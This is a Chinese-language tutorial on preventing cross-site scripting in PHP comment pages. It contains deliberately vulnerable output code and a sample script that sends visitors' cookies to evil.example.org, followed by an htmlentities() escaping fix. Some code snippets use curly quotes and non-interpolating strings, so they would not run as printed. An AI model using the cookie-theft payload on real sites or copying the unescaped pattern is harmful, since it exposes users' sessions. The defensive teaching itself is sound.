PHP安全-跨站腳本攻擊
跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺(tái)上的Web應(yīng)用都深受其擾,PHP應(yīng)用也不例外。
所有有輸入的應(yīng)用都面臨著風(fēng)險(xiǎn)。Webmail,論壇,留言本,甚至是Blog。事實(shí)上,大多數(shù)Web應(yīng)用提供輸入是出于更吸引人氣的目的,但同時(shí)這也會(huì)把自己置于危險(xiǎn)之中。如果輸入沒(méi)有正確地進(jìn)行過(guò)濾和轉(zhuǎn)義,跨站腳本漏洞就產(chǎn)生了。
以一個(gè)允許在每個(gè)頁(yè)面上錄入評(píng)論的應(yīng)用為例,它使用了下面的表單幫助用戶(hù)進(jìn)行提交:
CODE:
<form action='comment.php' method='POST' />
<p>Name: <input type='text' name='name' /><br />
Comment: <textarea name='comment' rows='10' cols='60'></textarea><br />
<input type='submit' value='Add Comment' /></p>
</form>
程序向其他訪問(wèn)該頁(yè)面的用戶(hù)顯示評(píng)論。例如,類(lèi)似下面的代碼段可能被用來(lái)輸出一個(gè)評(píng)論($comment)及與之對(duì)應(yīng)的發(fā)表人($name):
CODE:
<?php
echo '<p>$name writes:<br />';
echo '<blockquote>$comment</blockquote></p>';
?>
這個(gè)流程對(duì)$comment及$name的值給予了充分的信任,想象一下它們中的一個(gè)的內(nèi)容中包含如下代碼:
CODE:
<script>
document.location =
’http://evil.example.org/steal.php?cookies=’ +
document.cookie
</script>
如果你的用戶(hù)察看這個(gè)評(píng)論時(shí),這與你允許別人在你的網(wǎng)站源程序中加入Javascript代碼無(wú)異。你的用戶(hù)會(huì)在不知不覺(jué)中把他們的cookies(瀏覽網(wǎng)站的人)發(fā)送到evil.example.org,而接收程序(steal.php)可以通過(guò)$_GET[’cookies’]變量防問(wèn)所有的cookies。
這是一個(gè)常見(jiàn)的錯(cuò)誤,主要是由于不好的編程習(xí)慣引發(fā)的。幸運(yùn)的是此類(lèi)錯(cuò)誤很容易避免。由于這種風(fēng)險(xiǎn)只在你輸出了被污染數(shù)據(jù)時(shí)發(fā)生,所以只要確保做到如第一章所述的過(guò)濾輸入及轉(zhuǎn)義輸出即可
最起碼你要用htmlentities( )對(duì)任何你要輸出到客戶(hù)端的數(shù)據(jù)進(jìn)行轉(zhuǎn)義。該函數(shù)可以把所有的特殊字符轉(zhuǎn)換成HTML表示方式。所有會(huì)引起瀏覽器進(jìn)行特殊處理的字符在進(jìn)行了轉(zhuǎn)換后,就能確保顯示出來(lái)的是原來(lái)錄入的內(nèi)容。
由此,用下面的代碼來(lái)顯示評(píng)論是更安全的:
CODE:
<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html[’name’] = htmlentities($clean[’name’], ENT_QUOTES, ’UTF-8’);
$html[’comment’] = htmlentities($clean[’comment’], ENT_QUOTES, ’UTF-8’);
echo '<p>{$html[’name’]} writes:<br />';
echo '<blockquote>{$html[’comment’]}</blockquote></p>';
?>
相關(guān)文章:
1. XML入門(mén)精解之結(jié)構(gòu)與語(yǔ)法2. SpringMVC+Jquery實(shí)現(xiàn)Ajax功能3. 匹配模式 - XSL教程 - 44. ASP.NET MVC使用異步Action的方法5. CSS Hack大全-教你如何區(qū)分出IE6-IE10、FireFox、Chrome、Opera6. JS中map和parseInt的用法詳解7. ASP中if語(yǔ)句、select 、while循環(huán)的使用方法8. XML入門(mén)的常見(jiàn)問(wèn)題(一)9. 存儲(chǔ)于xml中需要的HTML轉(zhuǎn)義代碼10. 詳談ajax返回?cái)?shù)據(jù)成功 卻進(jìn)入error的方法
